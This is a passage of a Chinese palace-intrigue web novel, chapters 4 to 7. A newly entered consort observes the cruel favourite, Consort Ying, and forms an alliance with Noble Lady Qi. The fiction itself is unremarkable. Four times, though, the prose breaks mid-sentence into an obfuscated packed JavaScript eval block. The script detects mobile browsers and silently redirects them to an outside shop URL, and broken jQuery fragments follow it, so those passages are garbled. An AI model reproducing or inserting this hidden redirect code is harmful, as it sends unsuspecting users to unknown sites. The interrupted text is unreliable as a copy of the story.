“不如这样,明日午膳时分,本宫命人往你宫里送几道景宸宫小厨房的菜样,就当是本宫替穆贵人赔罪了,如何?” 闻言,齐贵人不悦地皱起眉头。 她齐家名门望族,什么好的没见过,岂会稀罕景宸宫的小菜。 穆贵人的宫女虽在尚食局放肆打翻了她的午膳,但到底不是故意如此。她虽不喜这样没规矩的行为,可皇后已经处置,她并非不能容人。 可盈妃此言,一来话里话外拿恩宠和身份向她施压,二来又对此事揪住不放,大做文章。不就是想借她这个新人中位分最高之人的事告诉所有人,和她盈妃相关的东西,即使是下人的过失,那也得诚惶诚恐的接着。 敢不喜?那得有胆量对上盈妃。 “盈妃娘娘雷厉风行,琏常在都说打死就打死,谁还敢忤逆您的意思?齐贵人初来乍到,您说她是收还是不收?您景宸宫的东西,一般人也不敢要吧。” 薄予诗讶然望去,见说话的女子就坐在齐贵人左边,她穿着一身水蓝色的华美宫裙,语气慵懒带笑,甚至连姿态也不甚端庄,如此正式的场合,她竟然支颐坐在位置上。 宫中人人见盈妃如洪水猛兽,她却敢如此大胆,想来便是近两年十分得皇上喜欢的琅嫔了。 听闻她性子直率不扭捏,快言快语,今日一见果真如此。 盈妃抬起头,言笑晏晏地勾起唇角:“琏常在多次不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550527|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬主位,以下犯上,本宫不过是小惩大诫而已,谁知她身子娇贵受不住,是她自己没这个福气继续伺候皇上。” “怎么在琅嫔嘴里,本宫倒成了暴虐嗜杀之人,不分是非黑白搅得宫中人人自危了?区区菜样而已,诸位新妹妹年轻禁不得事,琅嫔何苦吓她们。” “还是说琅嫔觉得,本宫身为妃位,琏常在屡屡不敬,本宫不光得忍着,还不能罚了?” 琅嫔起身福了福:“娘娘哪儿的话,琏常在得势狂妄不是一天两日了,宫里的姐妹们谁不知道?只是娘娘惩处琏常在不要紧,何苦特意选在昨日,嫔妾听闻新人入宫时在路上瞧见鲜血淋漓的尸身,可有不少人都受了惊吓。虽说有错当罚,但娘娘若能再等几日,或者命人下手轻一些,想来妹妹们也就不会惊慌失措了,娘娘说是不是?” 盈妃眼底微冷,勾唇道:“琏常在一再挑衅,本宫不得已才施以惩戒,为的就是肃清宫闱,分清尊卑,不要再生出此等目无尊上之事。” “琅嫔这般说完,本宫才觉得本宫做的确实不妥,竟忘了尊卑本在人心,有些人是不长记性的。” 这话说的是谁再没这么明白了,琅嫔却无所谓地笑了笑,欠身一福,重新歪着身子坐回了位置上。 就在此时,一直没现身的皇后娘娘终于从里间搭着蕙宜的手走出来:“好了,大吉之日,你们何苦争执。一入宫便都是自家姐妹,还是要和和气气的才好。” 皇后现身,齐贵人正好不必再回应盈妃,跟着其余人一起起身向皇后行大礼。 而后今日是新人阖宫觐见的日子,十二位新人还需再次出列行跪拜礼,聆听皇后训导,才算礼成。 礼毕后,看了几出好戏的薄予诗重新坐回位置上。 如今的皇后姓王,出身书香世家王氏,性情温柔,知书识礼,在宫里十分受人爱戴。就如方才,即使是规劝之语,听起来也不带丝毫攻击性。 可这般的皇后,注定压制不了宠妃的气焰,薄予诗清晰地看到盈妃垂眼时,嘴角的轻慢。 听父亲说,从前宫中的争斗十分厉害,大大小小风波不断,帝后感情冷淡,宠妃当道,皇后也是无可奈何。这一切还是攸贵妃领了协理后宫之权后才安定了不少。 皇后温柔,贵妃揽权,宠妃跋扈,还有一批同期新人跃跃欲试,不用想也知道,薄予诗将来的路注定不好走。 幸而今日暂时无人关注到她,也免去应付之苦了。 往后皇后又关怀了一番新人,训诫后宫诸人安分守己,不要生出事端等,这一次请安觐见很快便散了。 一离宫,梅才人十分后怕的样子,抚着心口快步上前来,小声说:“姐姐,咱们快回宫去吧。” 凤仪宫门前是非多,她们早些回宫,能避免不该看见的争斗。 薄予诗点了点头,与梅才人一道从凤仪宫离开,准备走御花园那条路回宫去。 谁知刚进御花园,便看见前头盈妃的仪仗停在原地,身侧跪着一个穿着粉色宫裙的丽人。 御花园这会儿阳光正盛,明亮的日头打在盈妃华贵的珠翠上,晃得人耀目,越发显得她高高在上。跪在地上的宫妃双膝磕在冰冷的鹅卵石上,看不清是谁,只远远见她卑微如泥得地捧住盈妃垂下的金丝绣鞋,哭得狼狈:“求娘娘饶妾身一命!” 5. 第 5 章 御花园春日风景独绝,处处花影重重,盈妃蹙眉往四周扫去,未曾见人。她神色霎时冷淡下来,垂眸扫人一眼,纤纤下颚微抬,丝毫不掩眼底的轻蔑:“本宫何时说过要你的命了?” “你若不是心虚,何至于如此惶惶不安,生怕本宫寻你的麻烦。” 盈妃一字一句气势凌厉,跪地之人哭得越发凶狠,浑身筛糠似的抖起来:“妾身没有……琏常在私下对娘娘不敬,可妾身却从来都不搭腔的!她行事狂妄死有余辜,可娘娘明鉴,妾身绝对不曾触犯宫规,更不敢对您不敬半分……” 她说着说着仍觉不够,在地上砰砰叩头,磕得满头是血,希望以此可以平息盈妃怒火,能保住自己一命:“求娘娘饶了妾身吧!求您了!” 堂堂天子嫔御,官家贵女,为了活命在大庭广众之下卑微至此,而自己居高临下。见她额角鲜血,一早气就不顺的盈妃终于重新缓缓勾起唇角。 犹记得刚随皇上入宫时,宫里哪个人没有对她的身份指指点点,私下说她出身卑贱,不堪为妃,如今数年过去,宫里谁还敢提此事?谁还敢瞧不起她?一样得跪在地上求她给活路。 伺候在盈妃身边的贴身宫女银柳这时候掩唇笑了声:“王才人,您这是何必呢?盈妃娘娘一向公私分明,又怎么会因为您曾经和琏常在交好就怪罪于您呢,您只要安分守己,不要和琏常在一般言语无状,娘娘自然不会对您不满的。” 说罢,银柳扫视了周遭一番,向盈妃摇头示意,此处终究不是说话的好地方,盈妃这才不紧不慢地重新开口:“说到底,本宫不是那么不近人情的人。” “你怎么说也是皇后的远房堂妹,看在皇后娘娘的面子上,即使你真有错,本宫也会多多担待你的。只要你将来能想得通事理,本宫不介意多在皇上跟前提携你。”她高高在上地看着王才人,脸上却挂着看似娇柔温和的笑容,令人心惊肉跳。 可即使如此,王才人还是如获大赦,喜极而泣,又接连磕了好几个头,恨不得把心剜出来表忠诚:“妾身多谢娘娘宽容大量,日后定以娘娘马首是瞻!” 她匍匐在地,忐忑不安地等着盈妃的训导,满心都是重获新生的喜悦,可等了半晌都不见回应,等她终于大着胆子抬起头,盈妃的仪仗早已走远了。 不远处的薄予诗和梅才人将这一幕尽收眼中,然后悄悄从拱门离开,等快走到玉芙宫门前,梅才人难以置信道:“王才人好歹也是皇后娘娘的远亲,竟……” 事关盈妃,她悻悻住口,没继续说下去。 薄予诗知道其中利害关系,安抚了梅才人几句便各自回宫了。 等一进绮绿馆,月娥借口小主需要补觉,命人都退出寝房的范围伺候。 雪娥端着清茶进来,憋了半晌,忍不住问:“小主,奴婢实在不明白,盈妃如此狠毒,皇上到底喜欢她什么?她在宫中飞扬跋扈,手上不知多少人命,皇上也不管吗?” 薄予诗接过杯盏品了几口,不紧不慢地翻开跟前的书页:“这个问题,我这两天也一直在想。” “直到今天看见盈妃和琅嫔,才终于明白了三四分。” 雪娥依然不解:“若说美貌,奴婢觉得盈妃和琅嫔不如您美,还是说——您的意思是,皇上就喜欢这般不温柔贤淑的女子吗?” 薄予诗忍不住笑了声:“倒也不是。” “我且问你,这天下谁说了算?” 雪娥不假思索:“这天下都是皇上的,自然是皇上说了算。” “既然是皇上说了算,琏常在的死为何直到现在都无声无息?”薄予诗轻轻抬眼,潋滟生波的一双美眸看得雪娥都不好意思了。 雪娥沉默半晌不敢说,还是薄予诗一语道破:“盈妃和琏常在比,终究是盈妃份量重得多,何况琏常在本就无足轻重。这充分说明,只要不过分,碍不到前头的安宁,其实皇上并不在意后宫争斗。” “咱们这位皇上是沙场上刀剑舔血过来的,如今又坐拥天下江山,朝政日理万机。后宫的弯弯绕绕令人烦忧,他不想管,也懒得管。可皇后镇不住,这便是贵妃的好处了。” “至于盈妃,她生了大公主,又是唯一一个皇上还在边疆时就伺候在身边的人,且不说她有什么手段让皇上宠着,只说这十年情分,她的地位就非比寻常。” 盈妃地位稳固,只要不是犯了大事或是触碰皇上逆鳞,地位必然牢不可破。意识到这点,雪娥深深叹了口气,仍然不解:“那琅嫔和琏常在为何得宠?” 薄予诗绵长地“唔”了一声:“大约是她们不光貌美,性情也很突出,又十分有情致,才总叫皇上能想起来。” 雪娥更加不明白:“这算什么优点?” 薄予诗点了点她的额头:“后宫嫔妃这么多,又个个都是美人,但你有多少闲工夫,才能个个都记得?” “若不能让皇上印象深刻,或是格外与众不同些,皇上都不记得,更谈何宠爱。” 这般说完,雪娥终于明白了:“所以在宫里生存,首要是美貌,其次是有叫皇上记得住的地方,再然后得能让皇上高兴。” “嗯——是这么回事,但想长长久久地在宫里活下去,这还不够,”薄予诗看着雪娥笑,摁在书页上的指头不慎留下一个小巧的指甲印,“琏常在便只做到了这里,所以她死的不明不白。” 雪娥绞尽脑汁地想:“再然后,便是生下皇嗣,地位就稳了。” “奴婢知道,皇上极重视皇嗣,不论皇子皇女,嫡出庶出都一视同仁,尽心管教。只要有了皇嗣,宫里的人就不敢再慢待半分,有没有恩宠都能过得下去。” 薄予诗笑着摇摇头:“这话说的没错,可我要的,不止是这些。” “因着我想要的更多,我就得做的更多,在皇上心里有的,也得比别人多上许多才行。” 剩下的话,她没再和雪娥说下去。因为说出来太残酷,听了难免让人灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550528|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。 除了方才说的那些,她还得让自己有用,有份量,最好还与皇上有那么一丝丝不同于常人的感情。 如此,她才能真的在宫里站稳脚跟,惠及母族,荣华富贵,谁都比肩不了。 薄予诗一向很清楚自己想要什么,为了达成目的,不管付出多少,她都甘之如饴。 雪娥出门后,屋内又归于沉静。 书页一张张翻阅,楹窗外打进来一缕斜斜日光,照在她莹白的手上。暖阁里安安静静,小巧的描金香炉幽香暗燃,明春香烬,光阴静好,平白生出几分静谧又旖旎的少女情怀。 四下无人时,薄予诗忍不住想起在长街上遇到皇上时的那一幕。 那是大朔的天子,沙场上弓马娴熟的杀神,也是将来与她枕畔低语,两相缱绻的枕边人。 她清醒、克制,却也无可避免的如寻常女子一般对他生出一丝不为人知的倾慕。 甚至于,她有那么一丁点儿期待,想知道他究竟是一个什么样的人,该如何才能在他心中刻下一道影子。 薄予诗压下思绪,朝院外轻唤了声:“月娥。” 正在外头忙着安排取午膳的月娥当即掀帘进来,福身道:“小主,有何吩咐?” 她轻轻摆手,示意月娥上前来,问:“昨夜皇上歇在谁的宫里了?我带着雪娥去凤仪宫请安时,见皇上从后宫往建章殿走,想来昨夜是宿在哪位嫔妃处了。” 月娥略一思索,摇头道:“不曾听闻昨夜有哪位嫔妃侍寝,只是奴婢今日去尚服局取丝线的时候,遇到一聊得投机的宫女,与她稍稍打听了些宫里的情况。听人说……皇上有时会独宿在太液池对岸的听澜榭,此处有人把守,任何人不得打扰,想来昨夜也是歇在那了。” 薄予诗感兴趣地抬眼:“打听出原因了吗?” 月娥摇头:“皇上的心思,底下人不敢胡乱揣测,更不敢乱说。只听说从前盈妃带着大公主想去,皇上都未曾允准,可以说是一处禁地了。” “原是这样,”薄予诗对此留了心,温声道,“有机会也查一查,能知道点新消息更好,若实在问不得也罢,别惹出祸患即可。” “是,奴婢明白。” 待月娥离开后,薄予诗托腮点了点书页。 从明晚开始,她们这一批新人就可以侍寝了,若无意外,她会排在前列,早早准备起来才是正理。 只是皇上年少登基,如今已是第七年,岁数三十有一了。这么多年身居帝位,什么样子没见过?早已不是青涩的年纪了。 她若想初次侍寝后还能留住皇上的兴致,除了美貌,总得有些与众不同的地方。 薄予诗在脑子里把盈妃和琅嫔翻来覆去想了个遍,视线最终落在自己的一双手上,思衬片刻,唤道:“雪娥,你亲自去一趟花房,选些颜色稍浅的凤仙花来。” 说罢,又添了一句:“再去桃林摘些早开的桃花,量要多,一并给我。” 6. 第 6 章 雪娥不亏是从小就伺候在薄予诗身边的人,当下就懂了她想做什么,一溜烟便出去了。 其实薄予诗想做的并非什么稀罕东西,好让自己在皇上跟前一鸣惊人,她只是想捣花做蔻丹给自己染指甲而已。 蔻丹艳丽,京中稍有头脸的女子都会给自己涂染指甲以此增色,后宫也不例外。 但宫中主位都用更金贵华丽的护甲,上头或镂空,或雕花,或缀宝石珍珠,唯有主位以下的嫔妃才有零星几个染蔻丹,颜色也都是凤仙花配白矾调制出来的嫣红色。 如此本是寻常事,可偏偏主位中有意外,盈妃就不戴华丽的护甲,反而十分细致的用蔻丹染了指甲。 薄予诗便好奇,她如此喜好奢华的一个人,满头珠翠,衣裙华贵,偏偏在手上不饰金银,怎么都让人觉得非同寻常。 盈妃出身低微,在宫中横行霸道多年,最大的倚仗便是皇上的宠爱,她如此行径,未必没有皇上喜爱的缘故。 书中曾言,“一双十指玉纤纤,不是风流物不拈”,更有人说,“十指纤纤玉笋红,雁行轻遏翠弦中”。 自古以来多少诗句赞美女子的一双手,可见手在有些人的眼中,未必逊色于容貌。 盈妃想来也是观察到这一点,这才不戴护甲,悉心保养。但她到底年岁渐长,如今已然二十有八,作为宫中除了皇后以外最年长的妃嫔,手往往老得比脸更快。 薄予诗漫不经心地敲着桌面,一声一声,发出“笃”、“笃”的声响,楹窗外迎春花开得正浓,明晃晃的太阳光照着,愈发金黄秾艳。 雪娥很快带着她要的东西回来,主仆二人伴着明媚春色细细研磨花瓣,打发一日时光。 日头西斜,天色不知不觉暗了下去。 晚膳过后,雪娥伺候着薄予诗在软榻上染指甲。每个指甲都得按着要求的位置放上足量的花汁子,再一个个细心地包起来,莹白如玉、肤若凝脂的一双手,很快被捆成粽子一般。 等一切都做好,薄予诗掀眸问:“皇上今日还是独宿吗?” 月娥摇摇头:“方才打听到的消息,说皇上今夜去了琅嫔宫中。” 雪娥小声嘀咕着:“奴婢还以为皇上会去盈妃娘娘那里呢。不是都说,盈妃娘娘宠冠后宫吗?” 薄予诗垂眸拨弄指甲上的绑线,淡淡道:“是宠冠后宫不假,可据我所知,自从前两年琅嫔得宠,盈妃侍寝的次数已经不如从前了。” “虽说恩宠地位不曾下降,该有什么好的皇上也照样赏下去,可有没有变化盈妃自己最清楚,否则我们这一批新人入宫,盈妃何至于这么急。” 说罢,她慵懒地往软榻上一躺,吩咐道:“这指甲不能染得时间久了,两个时辰后帮我拆掉。” - 同一时间,景宸宫主殿。 闻说皇上去了琅嫔处后,盈妃足足半晌面无表情。她虽没有说什么,也不曾大吵大闹,可谁都看得出来娘娘心情不佳。 殿内伺候的宫女大气不敢喘,就连平时最得用的银柳都垂头屏息,生怕惹娘娘不快。 良久后,盈妃才说道:“安置吧。” “是。” 内侍宫女们立刻躬身上前,伺候她更衣。很快,精心挑选的织金裙被一层层脱下来,发间的鎏金头面也被一件件取下来放回妆奁中。 烛火摇曳,锦盒中安然放着的首饰几乎堆成一座小山,在昏暗的光亮下泛着冰冷的光泽。 盈妃坐在镜前,就那样一言不发地看着自己身上所有贵不可言的物件被取走,一点点将她还原成了最原本的样子。 她忍不住抬手抚上镜中的自己,看到自己的容颜已经不如从前那般娇俏美丽,好似没了这些外在之处的衬托,原本的自己是那样赤裸,连一丝保护色都没有。 银柳小心地觑了一眼,福身道:“娘娘,歇息吧。” 盈妃微微合了合眼,从桌上拿起一只翡翠镯子戴在腕间,起身道:“命小厨房炖上皇上爱喝的参鸡汤,明日本宫亲自送去。” 银柳欲言又止,想要提示娘娘夜间带着镯子容易磕碎,话没出口又住了嘴。 娘娘的心思,岂是她一个小小宫婢能猜的透的,小心伺候才是正理。 床榻上,盈妃缓缓摸着那只翡翠镯子,心情愈发烦躁不安。 一整个二月份,皇上满打满算只来了景宸宫三次,还有一次是为了大公主的生辰,为她来的,只有两次。 若放在从前,盈妃想都不敢想。 即使皇上待她宠爱依旧,对她仍然十分纵容,她的恩宠也远比其余嫔妃更多,还有大公主天真无邪讨皇上欢心。可随着岁月流逝,眼睁睁看着皇恩渐逝,她很难不恐慌。 即使只是一丁儿是风吹草动,都足以让她警铃大作。 尤其与她身处同一位置的几个嫔妃,又有哪个是好惹的了? 谈贵嫔命好,生下了大皇子,祁妃膝下也有三公主,更有家世依托。攸贵妃就不用提了,不光儿女双全,母族得用,更是手握协理后宫大权,地位稳固如山。 这么多主位里,唯有她……唯有她比别人都差,除了皇上的恩宠,她什么都没有。 如今连恩宠,都有这么多人眼巴巴地要跟她争。 除了一个琏常在不算,还有一个琅嫔,没有琅嫔,还有新进宫的十二个新人,个个年轻貌美,连她看了都觉得新鲜,更别提皇上了。 可新人要明晚才能侍寝,按着皇上以往的习惯,独寝听澜榭后都会来她的景宸宫,今日为何没来? 是因为琅嫔今日使了手段,还是因为她处死了琏常在,亦或是因为齐贵人? 琏常在虽有恩宠,她却很清楚皇上并不把她当回事,齐贵人那点区区微末小事,自己又不曾得宠,更不必多提。 那么只剩下一个可能,便是琅嫔刻意要和她争宠。 盈妃的眼神渐渐暗了下来。 - 次日一早,薄予诗起身盥洗更衣,特意用了蔷薇汁子净手,又擦了薄薄一层油脂香膏才算罢。 手部皮肤最是娇嫩,稍不留神就会粗糙起茧子。若想要手似柔荑,一来天生形态要美,骨骼修长纤细,二来要自幼养起才能白皙柔嫩。 从今日起,每日这手和脸一样,都得细心养护。 出门时,又是毫无意外的与梅才人同行。 有了昨日请安的经验,她们也算是见过大场面了,薄予诗今日很淡然。但没想到,琅嫔和昨日见过的王才人都告假没来。 她们二人昨日还好好的,琅嫔昨夜侍寝想必是懒得过来,王才人倒不知是为何了。 但昨日侍寝之人不在,嫔妃们即使想说点酸溜溜的话也没正主听,倒不如闭上嘴免得自讨没趣,今日的请安就这样风平浪静的过了。 直到尾声的时候,皇后提及今日就是新人入宫的第三日,按着规矩,今晚便可以预备着侍寝了,让诸位新人都做好准备。此言一出,原本各不相干的嫔妃们便立刻起了心思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550529|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时暗流涌动起来。 就连薄予诗也心念微动,不知今夜皇上究竟会选谁侍寝。 毕竟这次选秀进宫的人多,一共十二人,各个风姿绰约,各有千秋,谁也拿不准皇上的心思。 从凤仪宫出来的时候,平时话很多的梅才人罕见地没说话,一路上都在走神。 今晚便可以侍寝了,多少人心里暗暗惦记着,梅才人家世和位分都不低,自然也不例外。薄予诗没多问,说自己要去到处转转,在宫道岔口和她分开走了。 跟着她出门的雪娥笑着小声说:“自您入宫一直没能出来走走,梅才人今日难得不跟着,奴婢陪您多逛逛吧。” 薄予诗莞尔:“御花园人多,咱们就不去了,去迎春圃瞧瞧吧。” 迎春圃位处西六宫范围内,和浣莲池一样被六所宫殿环绕,里头栽满奇珍异草。春日花草昌茂,迎春圃的景色绝不会逊色于御花园。 只是不巧,她们主仆二人刚走到迎春圃门外,又遇见了争执。 这也是没法子,如今后宫的人越发多起来,共有二十余位嫔妃了,走哪儿都可能遇见人。 若是寻常人,薄予诗大可上前寒暄,一同赏景。可眼前人却不好沾染,正是齐贵人、穆贵人,和穆贵人在宫中的好友——舒美人。 如果是旁人便罢了,在宫里没有矛盾的时候,与人为善才是生存之道,可穆贵人和舒美人都是盈妃的人,平时还是少来往为妙。 她只好不再往前走,打算稍微看看情况再换个地方散心,谁知舒美人眼尖得很,一来就先瞧见了她,开口唤道:“哟,这不是薄美人吗?妹妹来得正好,正巧请妹妹过来说个理呢。” 薄予诗自知躲不过只好过去,微笑着福身向齐贵人和穆贵人行礼:“妾身给齐贵人和穆贵人请安,舒姐姐好。” 齐贵人的脸色有些难看,反倒是穆贵人和舒美人见她来了,先仔仔细细看了好几眼,似在惊叹于她的容貌,穆贵人这才说:“盈妃娘娘已经替我赔不是了,皇后娘娘也早已处罚过,可齐贵人却偏过不去。过不去便罢了,好歹入宫之前也学过规矩,怎么连一点规矩都不懂?” “你我都是贵人的位分,你见了我本该施平礼,何况我好歹早入宫几年,也算是你姐姐,齐贵人见了我扭头就走算怎么回事?好没道理。” 以穆贵人的性情,她原本不会这般寻齐贵人不痛快,毕竟齐贵人出身显赫,与她相差不少,轻易得罪不起。可怪就怪皇后娘娘居然为了一个婢子的不是责罚她,又有盈妃在背后撑腰,若此时不抖搂起来,岂不是没领会娘娘心意。 齐贵人再厉害也是新人入宫,拿什么和盈妃娘娘比,说不得娘娘就是想把事情闹大,好让齐贵人犯错承不了宠呢? 穆贵人下巴微微抬起,一派义正言辞,舒美人也在旁边应腔。 这样的场面却让薄予诗来论理,她只能自认倒霉。 若站在齐贵人这边,她们二人必然要告诉盈妃此事,可若是站在她们这边,一定会得罪齐贵人,将来这关系就再也和缓不了了。 可眼下这情形,她没得选也要选。 她微微颔首,嗓音轻柔:“皇后娘娘方才说过,今夜新人就可以预备着侍寝了。齐贵人是位分最高者,自然最有希望,恐怕满心思都在这上头,一时没听见也是有的。” “两位姐姐久侍宫闱,最清楚关于皇上的事才是头等大事,不是吗?” 话音甫落,齐贵人难以置信地看了她一眼。 7. 第 7 章 “你……” 齐贵人怎么也想不到,在盈妃和她之间,薄美人居然会选择帮她。 盈妃在宫中何等威势,自入宫以来,凡是想探查宫中情况时,底下宫人每每提起盈妃便脸色大变,非她麾下之人个个见之生畏,连议论都不敢。 这样的人,像她们这样初来乍到的嫔妃怎么惹得起?何况还有琏常在之死就在前日,齐贵人虽不惧,可不代表其他人也不怕。 不曾想,薄美人在见识了宫中险恶之后,还站在了她这边。 要知道当初入选之时,齐贵人曾把她视为最大的竞争对手,如今看来,反而是她狭隘了。 复杂难言的情绪袭上心头,齐贵人看着薄美人一时怔忪,却无可抵挡的涌上一阵暖流。 但齐贵人这边心怀感激,穆贵人却见鬼似地打量她们一眼,心道真是初生牛犊不怕虎,竟敢站在盈妃的对立面,真是没见识过她的手段:“薄美人的意思,是我不依不饶,故意寻衅了?” 舒美人也在跟前应和:“皇上的事自然是一等一的要紧,可这会儿才清晨,皇上也没定下侍寝的人是谁。若拿这个当借口,是否牵强了些?齐贵人失礼是木已成舟的事,不认错便罢了,怎么连薄美人也跟着帮腔。” 薄予诗黛眉微皱,正想再说些什么,可旁边的齐贵人先冷淡地开口了:“还没说够?” “入宫三年都只是贵人和美人,如今也在我面前叫嚣。” “穆贵人,你自己也清楚你我身份相同,既是相同,遇见了施平礼算是礼貌客气,遇见了转身就走便是不想跟你客气,这么简单的道理你都不明白么?你若实在接受不了,不如去问问皇后娘娘,再问问攸贵妃我这么做是否有违宫规。若娘娘当真处罚,我心甘情愿领受,再亲自来跟你道歉,如何?” 穆贵人无论如何也想不到,这齐贵人不光胆大包天,说话也这么不客气,她当真一点都不怕盈妃娘娘吗!? 要知道她和舒美人跟在盈妃身边这两年,除了上头的几位娘娘,下面谁不是对她客客气气的。 如今可好了,来了十几位新人,个顶个的能折腾。 穆贵人原本只是猜着娘娘的心思故意找事,不过是想让齐贵人知道自己几斤几两,别以为能侍寝了就生出对娘娘不敬的念头来,谁知被这么呛也来火了,冷笑一声:“齐贵人好大的脾气,还没承宠便言语刻薄,将来承了宠还不知道会怎么样呢。今日之事,我自会和娘娘说起,只要贵人承受得住就好。” 说罢,穆贵人冷哼了一声,转身和舒美人一同走了。看方向,许是去盈妃娘娘所在的景宸宫了。 薄予诗暗叹一声:“其实何苦说的这么难听,糊弄过去也便罢了。她们二人虽不成器,到底背后是盈妃。俗话说打狗还要看主人,你驳的,实则是盈妃的面子。” 齐贵人神情有些讥诮:“入宫以来短短三日,我不惹人,人却偏要来惹我。我本不愿计较,偏偏有人要拿我开刀。既如此,我若一味忍让,只会让人觉得我好作践,将来是否还要拿些荒谬的理由来压我?” “我好欺负,难免让人觉得齐氏无能,竟巴巴送进来个嫡出的女儿给人欺负。” 这个道理,齐贵人说得倒没什么问题。 母亲曾说过,宫中生活不易,能屈能伸才是保命之道。失势时不可自轻自贱,得势时不可凌驾于人,需得不卑不亢,守成自若。 齐贵人本是无辜受害,偏偏盈妃不依不饶,若她一味忍耐,盈妃自然可以放她一马,可若一个人的心气儿被磨没了,将来即使承宠也成不了大器。 堂堂齐氏嫡出的女儿,既然入了宫就要争出一番天地,反抗盈妃的路固然难走,可也不得不走。 不光是齐贵人,对薄予诗而言也是一样的。 就如方才,她不是不知道选择站在齐贵人这边有什么坏处,可她只能这么选。 一旦站队盈妃,就等于得罪了其余所有不喜盈妃之人,所以此举只可保眼下安宁,再无将来前途。 只看穆贵人和舒美人就知道,跟着盈妃可保温饱,却分不得半分宠爱。 宫中女子,若没有宠爱只有家世,即使幸运,终究也不过落得个平淡终老的结局,薄予诗绝不走这条路。 所以今日,她希望齐贵人能记得今日这份小小的情谊,起码二人都有了共同抗争之人。 “你说的我也明白,但恐怕……咱们侍寝便不那么容易了。”薄予诗温声提醒,“盈妃睚眦必报。” 齐贵人默了片刻,转身道:“那又如何。她再得势,宫里也不是她一人的天下,以你我之天资,还愁入不了皇上的眼?” “怕了,咱们就输了。” 说罢,她向前两步,又稍稍偏头回来,语气有些生涩不自然:“方才之事……多谢你。今日解围之恩,我必涌泉相报。” 薄予诗点点头,眼见着齐贵人的身影越来越远,这才动身去迎春圃。 雪娥终于禁不住啐了一口:“今日真是倒霉,难得出门一趟还遇见这种事,实在晦气极了。穆贵人和舒美人本不得宠,狗仗人势罢了!” “可气的是今晚,小主本是最有希望的人选……” 薄予诗略一停顿,淡然道:“无妨。” “好饭不怕晚。” - 从迎春圃逛了一大圈,等再回绮绿馆的时候,时辰已经临近午膳时分。 薄予诗迈步进屋内,月娥立刻迎上去,屏退了四周:“小主,奴婢听说盈妃方才乘步辇去了建章殿,到这会儿还没出来,恐怕午膳要和皇上一起用了。” “这么快!”雪娥的脸色顿时难看起来,“如此一来,盈妃不用想也知道要吹耳边风了,不知会不会影响到小主。” 薄予诗一时没说话,静静坐在楹窗前,看阳光打在窗外桃花枝上,格外疏落动人。有几支初开的桃花从窗口探进来,她伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550530|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去拈,垂眸道:“盈妃在宫里多年,能令人人畏惧,自有她的本事。” “区区今夜岂止,恐怕往后的日子,都不会太好过了。” 月娥乍一听还没明白怎么回事,雪娥怕小主听见心里又不痛快,特意将月娥拉到屋后说了一遍。这么一说,连稳重的月娥也恼起来。 但不管怎么样,兵来将挡水来土掩,日子始终要过下去,二人气恼了一会儿,便算着时辰下去安排提膳了。 等菜样在偏阁备好,薄予诗掀了帘子从暖阁出来,垂眸一扫,嗤了声:“瞧瞧,尚食局的动作多快。如此会体察上意,想来别的地方也要跟上了。” 雪娥一听这话连忙进来查看,果真见送来的午膳大不如前两日,虽数量一致,可菜色天差地别,不光肉少得可怜,连果蔬都是最常见的了。 “您才刚入宫几日,尚食局的人就不怕您得势之后与他们过不去吗?竟如此敷衍!”雪娥气不过想去理论,“咱们好歹出身薄家,在宫里岂有被他们作践的份儿!” 但薄予诗反而坐下了,举起筷子夹了口豆腐到碗里:“不必去了,吃饭吧。” 雪娥想不通:“小主,他们这样作践您,您就忍气吞声吗?未免太好拿捏了。” 薄予诗慢条斯理地将菜送入口中:“在外头,家世几乎能决定一切。可在宫里,看的是你价值几斤几两。” “自皇上登基这些年以来,多少勋贵人家的女子入宫,可有几个越过盈妃的?我再有前途也是将来的事,可他们若眼下得罪了盈妃,轻则失去活计,重则小命不保,谁敢不从。” “再者说,若真闹起来,反而更给了盈妃借题发挥的机会,当下最好的法子,就是忍。你去打听打听齐贵人那境遇如何,再回来告诉我。” 